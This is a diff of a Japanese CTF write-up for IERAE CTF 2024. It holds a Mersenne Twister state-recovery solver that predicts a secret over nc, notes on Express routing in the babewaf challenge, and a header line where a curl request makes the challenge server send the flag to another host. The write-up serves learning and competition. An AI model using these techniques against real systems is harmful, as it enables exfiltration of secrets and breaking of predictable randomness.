ctf/IERAE CTF 2024 writeup.md
... ...
@@ -28,191 +28,212 @@ curl "192.0.2.1:3000/search?user=http%3A%2F%2F192.0.2.2%3000"
28 28
29 29
で`192.0.2.2:3000`に向けてFLAG付きのリクエストが飛んでくる。
30 30
31
-### Weak PRNG
31
+## Weak PRNG
32 32
<https://zenn.dev/hk_ilohas/articles/mersenne-twister-previous-state>のプログラムを拝借したところそのまま動作した。
33 33
34
-- `io_lib.py`
34
+#### `io_lib.py`
35 35
36
- <details>
37
- ```python
38
- import subprocess
39
- import string
40
-
41
- def read_output(
42
- process: subprocess.Popen,
43
- expected_prompts: int,
44
- ) -> list[int]:
45
- generator_output_list: list[int] = []
46
-
47
- for _ in range(expected_prompts):
48
- stdout = process.stdout
49
-
50
- if stdout is None:
51
- raise Exception()
52
-
53
- output = stdout.readline().strip()
54
- if output:
55
- print(output)
56
- output = output.replace(' ', '')
57
-
58
- if output.isdigit():
59
- generator_output_list.append(int(output))
60
-
61
- if expected_prompts >= 16:
62
- size = len(generator_output_list)
63
- if not size == 16:
64
- raise Exception(size)
65
-
66
- return generator_output_list
67
- ```
68
- </details>
69
-
70
-- `lib.py`
36
+<details>
37
+<summary>クリックで展開</summary>
38
+<p>
71 39
72
- <details>
73
- ```python
74
- # https://zenn.dev/hk_ilohas/articles/mersenne-twister-previous-state より引用
75
-
76
- def untemper(x):
77
- x = unBitshiftRightXor(x, 18)
78
- x = unBitshiftLeftXor(x, 15, 0xefc60000)
79
- x = unBitshiftLeftXor(x, 7, 0x9d2c5680)
80
- x = unBitshiftRightXor(x, 11)
81
- return x
82
-
83
-
84
- def unBitshiftRightXor(x, shift):
85
- i = 1
86
- y = x
87
- while i * shift < 32:
88
- z = y >> shift
89
- y = x ^ z
90
- i += 1
91
- return y
92
-
93
-
94
- def unBitshiftLeftXor(x, shift, mask):
95
- i = 1
96
- y = x
97
- while i * shift < 32:
98
- z = y << shift
99
- y = x ^ (z & mask)
100
- i += 1
101
- return y
102
-
103
-
104
- def get_prev_state(state):
105
- for i in range(623, -1, -1):
106
- result = 0
107
- tmp = state[i]
108
- tmp ^= state[(i + 397) % 624]
109
- if ((tmp & 0x80000000) == 0x80000000):
110
- tmp ^= 0x9908b0df
111
- result = (tmp << 1) & 0x80000000
112
- tmp = state[(i - 1 + 624) % 624]
113
- tmp ^= state[(i + 396) % 624]
114
- if ((tmp & 0x80000000) == 0x80000000):
115
- tmp ^= 0x9908b0df
116
- result |= 1
117
- result |= (tmp << 1) & 0x7fffffff
118
- state[i] = result
119
- return state
120
- ```
121
- </details>
122
-- `predict_secret.py`
123
-
124
- <details>
125
- ```python
126
- from lib import untemper, get_prev_state
127
- import random
128
-
129
- def predict_secret(
130
- xs1: list[int],
131
- n: int,
132
- ):
133
- mt_state = [untemper(x) for x in xs1]
134
- prev_mt_state = get_prev_state(mt_state)
135
- random.setstate((3, tuple(prev_mt_state + [0]), None))
136
-
137
- predicted = [random.getrandbits(32) for _ in range(n)]
138
- return predicted[623]
139
- ```
140
- </details>
141
-
142
-- `solver.py`
40
+```python
41
+import subprocess
42
+import string
143 43
144
- <details>
145
- ```python
146
- import subprocess
147
- from io_lib import read_output
148
- from predict_secret import predict_secret
149
-
150
-
151
- if __name__ == '__main__':
152
- process = subprocess.Popen(
153
- # ['python3', '../challenge.py'],
154
- ['nc', '35.201.137.32', '19937'],
155
- stdin=subprocess.PIPE,
156
- stdout=subprocess.PIPE,
157
- stderr=subprocess.PIPE,
158
- text=True
159
- )
160
-
161
- read_output(
162
- process=process,
163
- expected_prompts=7,
164
- )
165
-
166
- stdin = process.stdin
167
- if stdin is None:
44
+def read_output(
45
+ process: subprocess.Popen,
46
+ expected_prompts: int,
47
+ ) -> list[int]:
48
+ generator_output_list: list[int] = []
49
+
50
+ for _ in range(expected_prompts):
51
+ stdout = process.stdout
52
+
53
+ if stdout is None:
168 54
raise Exception()
169 55
170
- generator_output_list: list[int] = []
56
+ output = stdout.readline().strip()
57
+ if output:
58
+ print(output)
59
+ output = output.replace(' ', '')
60
+
61
+ if output.isdigit():
62
+ generator_output_list.append(int(output))
171 63
172
- for i in range(40):
173
- stdin.write('1' + '\n')
174
- stdin.flush()
175
- generator_output_list = generator_output_list + read_output(
176
- process=process,
177
- expected_prompts=23,
178
- )
179
- print(generator_output_list)
64
+ if expected_prompts >= 16:
65
+ size = len(generator_output_list)
66
+ if not size == 16:
67
+ raise Exception(size)
68
+
69
+ return generator_output_list
70
+```
71
+
72
+</p>
73
+</details>
180 74
181
- predicted_secret = predict_secret(
182
- xs1=generator_output_list[:624],
183
- n=624,
184
- )
75
+#### `lib.py`
76
+
77
+<details>
78
+<summary>クリックで展開</summary>
79
+<p>
80
+
81
+```python
82
+# https://zenn.dev/hk_ilohas/articles/mersenne-twister-previous-state より引用
83
+
84
+def untemper(x):
85
+ x = unBitshiftRightXor(x, 18)
86
+ x = unBitshiftLeftXor(x, 15, 0xefc60000)
87
+ x = unBitshiftLeftXor(x, 7, 0x9d2c5680)
88
+ x = unBitshiftRightXor(x, 11)
89
+ return x
90
+
91
+
92
+def unBitshiftRightXor(x, shift):
93
+ i = 1
94
+ y = x
95
+ while i * shift < 32:
96
+ z = y >> shift
97
+ y = x ^ z
98
+ i += 1
99
+ return y
100
+
101
+
102
+def unBitshiftLeftXor(x, shift, mask):
103
+ i = 1
104
+ y = x
105
+ while i * shift < 32:
106
+ z = y << shift
107
+ y = x ^ (z & mask)
108
+ i += 1
109
+ return y
110
+
111
+
112
+def get_prev_state(state):
113
+ for i in range(623, -1, -1):
114
+ result = 0
115
+ tmp = state[i]
116
+ tmp ^= state[(i + 397) % 624]
117
+ if ((tmp & 0x80000000) == 0x80000000):
118
+ tmp ^= 0x9908b0df
119
+ result = (tmp << 1) & 0x80000000
120
+ tmp = state[(i - 1 + 624) % 624]
121
+ tmp ^= state[(i + 396) % 624]
122
+ if ((tmp & 0x80000000) == 0x80000000):
123
+ tmp ^= 0x9908b0df
124
+ result |= 1
125
+ result |= (tmp << 1) & 0x7fffffff
126
+ state[i] = result
127
+ return state
128
+```
129
+
130
+</p>
131
+</details>
132
+
133
+#### `predict_secret.py`
134
+
135
+<details>
136
+<summary>クリックで展開</summary>
137
+<p>
138
+```python
139
+from lib import untemper, get_prev_state
140
+import random
141
+
142
+def predict_secret(
143
+ xs1: list[int],
144
+ n: int,
145
+):
146
+ mt_state = [untemper(x) for x in xs1]
147
+ prev_mt_state = get_prev_state(mt_state)
148
+ random.setstate((3, tuple(prev_mt_state + [0]), None))
149
+
150
+ predicted = [random.getrandbits(32) for _ in range(n)]
151
+ return predicted[623]
152
+```
153
+
154
+</p>
155
+</details>
185 156
186
- print(predicted_secret)
157
+#### `solver.py`
158
+
159
+<details>
160
+<summary>クリックで展開</summary>
161
+<p>
162
+
163
+```python
164
+import subprocess
165
+from io_lib import read_output
166
+from predict_secret import predict_secret
167
+
168
+
169
+if __name__ == '__main__':
170
+ process = subprocess.Popen(
171
+ # ['python3', '../challenge.py'],
172
+ ['nc', '35.201.137.32', '19937'],
173
+ stdin=subprocess.PIPE,
174
+ stdout=subprocess.PIPE,
175
+ stderr=subprocess.PIPE,
176
+ text=True
177
+ )
178
+
179
+ read_output(
180
+ process=process,
181
+ expected_prompts=7,
182
+ )
183
+
184
+ stdin = process.stdin
185
+ if stdin is None:
186
+ raise Exception()
187 187
188
-
189
- stdin.write(f'2' + '\n')
188
+ generator_output_list: list[int] = []
189
+
190
+ for i in range(40):
191
+ stdin.write('1' + '\n')
190 192
stdin.flush()
191 193
generator_output_list = generator_output_list + read_output(
192 194
process=process,
193
- expected_prompts=2,
195
+ expected_prompts=23,
194 196
)
197
+ print(generator_output_list)
198
+
199
+ predicted_secret = predict_secret(
200
+ xs1=generator_output_list[:624],
201
+ n=624,
202
+ )
203
+
204
+ print(predicted_secret)
205
+
195 206
196
- stdin.write(f'{predicted_secret}' + '\n')
197
- stdin.flush()
198
- generator_output_list = generator_output_list + read_output(
199
- process=process,
200
- expected_prompts=2,
201
- )
202
- ```
203
- </details>
207
+ stdin.write(f'2' + '\n')
208
+ stdin.flush()
209
+ generator_output_list = generator_output_list + read_output(
210
+ process=process,
211
+ expected_prompts=2,
212
+ )
213
+
214
+ stdin.write(f'{predicted_secret}' + '\n')
215
+ stdin.flush()
216
+ generator_output_list = generator_output_list + read_output(
217
+ process=process,
218
+ expected_prompts=2,
219
+ )
220
+```
221
+
222
+</p>
223
+</details>
204 224
205 225
## babewaf
206 226
解けなかったけどいくつか勉強になったことがあるのでメモ。
207 227
- expressはデフォルトでルーティングの際にキャピタライズを考慮しない。
208 228
- <https://stackoverflow.com/questions/21216523/nodejs-express-case-sensitive-urls>
209 229
- `/GIVEMEFLAG`でexpressを貫通させて、なんとかHonoに拾わせるのだと思っていた。
210
-- expressでは正規表現の*文字は通常の方法で解釈されない。
230
+- expressでは正規表現の`*`文字は通常の方法で解釈されない。
211 231
- <https://expressjs.com/ja/guide/routing.html>
212 232
> Express 4.xでは、正規表現の*文字は通常の方法で解釈されません。回避策として、*の代わりに{0,}を使用してください。これは、Express 5で修正される可能性があります。
213 233
- <https://github.com/expressjs/express/issues/2495>
214 234
- 以下のルーティングに問題があるのではないかと疑っていた。
215
- ```
235
+
236
+ ```javascript
216 237
app.get(
217 238
"*",
218 239
createProxyMiddleware({
... ...
@@ -229,6 +250,9 @@ curl "192.0.2.1:3000/search?user=http%3A%2F%2F192.0.2.2%3000"
229 250
とすると、`candidate_char_set`の中から、`appeared_char_set_dict[i]`を削除するとi文字目の文字だけが残る。
230 251
231 252
<details>
253
+<summary>クリックで展開</summary>
254
+<p>
255
+
232 256
競技サーバを`192.0.2.1:55555`, とする。
233 257
234 258
```python
... ...
@@ -367,4 +391,6 @@ def main():
367 391
if __name__ == "__main__":
368 392
main()
369 393
```
394
+
395
+</p>
370 396
</details>
... ...
\ No newline at end of file